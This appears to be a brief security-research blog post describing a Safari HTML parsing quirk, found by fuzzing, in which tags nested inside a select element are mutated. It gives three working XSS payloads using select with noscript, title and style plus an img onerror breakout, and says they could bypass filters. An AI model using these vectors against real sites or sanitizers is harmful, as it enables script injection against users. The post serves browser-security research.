Mutating Safari

This is just another quick post about something that Shazzer found last year. The goal of the vector was to find HTML tags that support comments. Shazzer pointed out that Safari was doing something different but it was not the HTML comment that caused this behaviour difference.

By accident Shazzer was deeply nesting all the tags it was fuzzing and found that the select element on Safari was removing the style tag after I inspected the DOM tree with devtools. But it wasn't just the style tag, it was mutating different tags too.

<!-- Executes on Safari but not Chrome-->
<select>
<noscript>
</select><img src onerror=alert(1)>
</noscript>
</select>

<!-- Executes on Safari but not Chrome-->
<select>
<title>
</select><img src onerror=alert(1)>
</title>
</select>

<!-- Executes on Safari but not Chrome-->
<select>
<style>
</select><img src onerror=alert(1)>
</style>
</select>

Probably more as well but those where the interesting ones for me. You could probably use them for bypassing filters.